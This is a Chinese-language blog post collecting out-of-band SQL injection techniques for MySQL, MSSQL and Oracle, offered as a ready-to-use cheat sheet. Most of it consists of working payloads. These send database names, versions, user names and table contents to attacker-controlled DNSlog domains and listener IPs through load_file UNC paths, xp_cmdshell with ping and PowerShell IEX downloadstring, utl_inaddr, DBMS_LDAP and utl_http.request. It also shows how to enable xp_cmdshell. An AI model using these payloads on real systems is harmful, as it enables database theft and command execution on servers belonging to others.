1. 程式人生 > 其它 >SQL注入 資料外帶 總集篇

SQL注入 資料外帶 總集篇

0x00 資料外帶平臺

平臺網址 平臺簡介
http://dnslog.cn/ 僅支援DNS資料外帶
http://ceye.io/ 支援DNS和HTTP兩種資料外帶方式(推薦使用

0x01 DNS外帶

MYSQL 資料外帶

外帶原理

  • 利用UNC路徑去訪問伺服器,dns會有日誌,通過子查詢,將內容拼接到域名內,利用MYSQL內建函式load_file()去訪問共享檔案,訪問的域名被記錄,此時變為顯錯注入,將盲注變顯錯注入,讀取遠端共享檔案,通過拼接出函式做查詢,拼接到域名中,訪問時將訪問伺服器,記錄後檢視日誌。

注:load_file函式在Linux下是無法用來做dnslog攻擊的,涉及到Windows中的UNC路徑。(linux中不存在UNC路徑)

相關解釋

  • UNC是一種命名慣例, 主要用於在Microsoft Windows上指定和對映網路驅動器. UNC命名慣例最多被應用於在區域網中訪問檔案伺服器或者印表機。我們日常常用的網路共享檔案就是這個方式。

  • 利用內建函式load_file()來完成DNSLOG。

  • load_file() 不僅能夠載入本地檔案,同時也能對諸如www.test.com這樣的URL發起請求。

  • load_file() 載入檔案' ',是對' \ '的轉義,load_file讀取檔案和windows讀取檔案呼叫的都是c的fopen()函式,而雙斜槓表示網路資源路徑,即UNC路徑,於是發起了dns請求

MYSQL dnslog條件

  • secure_file_priv 擁有讀寫許可權
secure_file_priv = ""       # 可以讀取磁碟目錄
secure_file_priv = "D:\"    # 可以讀取D盤檔案
secure_file_priv = null     # load_file限制,不能載入檔案
  • 在mysql 5.5.34 預設為空可以載入檔案,之後的版本為NULL,不能載入檔案
show global variables like 'secure%';  //檢視是否有寫限制

常用payload

  • 檢視版本號
 ?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+
  • 查庫名
?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+
  • 查表名
select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
  • 查列名
select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
  • 查資料
select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+

注意事項

  • 有些時候資料庫欄位的值可能是有特殊符號的,由於域名有一定規範,有些特殊符號是不能帶入,這些特殊符號拼接在域名裡是無法做dns查詢的。可以用hex編碼 將含特殊符號的資料外帶出

  • char(ascii(database())) 編碼繞過

MSSQL 資料外帶

外帶原理

  • 利用MSSQL中的xp_cmdshell儲存過程執行ping命令或直接拼接DNS平臺域名,發出DNS請求,再通過DNS平臺查詢DNS記錄獲取查詢的資料

MSSQL dnslog條件

  • 開啟xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;-- 

  • 驗證xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'-- 

常用payload

  • 查庫名
?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a  %2b'.2hlktd.dnslog.cn"')-- 
?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" ');     
注:其他方式xp_subdirs xp_dirtree xp_fileexist   

Oracle 資料外帶

外帶原理

  • Oracle的帶外注入和 DNSLOG很相似,需要使用網路請求的函式 進行注入利用

相關函式

  • utl_inaddr.get_host_address() 函式

  • SYS.DBMS_LDAP.INIT() 函式

常用payload

  • 查當前使用者名稱
and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --
and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --

注意:|| 轉碼%7C%7C

命令外帶

  • Windows系統檢視當前賬戶名
ping %USERNAME%.bbn3un.ceye.io

0x02 HTTP外帶

MSSQL 資料外帶

外帶原理

  • 利用MSSQL中的xp_cmdshell儲存過程 和powershell發出HTTP請求,再通過監聽IP:埠 記錄或外帶平臺檢視返回資料

MSSQL HTTP外帶條件

  • 開啟xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;-- 

  • 驗證xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'-- 

常用payload

  • 查庫名和版本
?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --
?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --

Oracle 資料外帶

外帶原理

  • 利用內建函式utl_http.request() 發起HTTP請求,然後通過監聽IP:埠 記錄或外帶平臺檢視返回資料

相關函式

  • utl_http.request()函式**

    • 函式說明 :在Oracle中提供了utlhttprequest函式,用於取得web伺服器的請求資訊,因此,攻擊者可以自己監聽埠,然後通過這個函式用請求將需要的資料傳送反彈回頭

    • UTL_HTTP包介紹 :提供了對HTTP的一些操作。

    • 舉例 :執行這條SQL語句,將返回 baidu. com的HTML原始碼

select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual

帶外注入過程

  1. 判斷 UTL_HTTP儲存過程是否可用
  • 在注入點提交如下查詢:
select count(*) from allobjects where object name='UTL_HTTP'
  • 通過頁面回顯判斷UTL_HTTP是否可用,如果頁面返回正常,則說明UTL_HTTP儲存過程可用
  1. 使用NC監聽資料
  • 在本地用nc監聽一個埠,要求本地主機擁有一個外網的ip地址

  • nc-lvvp監聽埠

  1. 反彈資料資訊
  • 在注入點提交:
and UTL_HTTP.request('[http://ip](http://ip):監聽埠/'||(查詢語句)=1--
  • 即可實現注入攻擊

注意:每次在注入點提交一次請求,nc監聽完後就會斷開,需要重新啟動nc監聽

常用payload

  • 判斷utl_http是否可用
id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 
  • 查詢資料庫版本指紋
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
  • 查當前使用者名稱
id=1 and UTL_HTTP.request('http://ip:監聽埠/'||(select user from dual)=1--
id=1 and utl_http.request('http://域名或者ip:埠/'||(注入的語句))=1 --  //注意||轉碼%7C%7C

注意:|| 轉碼%7C%7C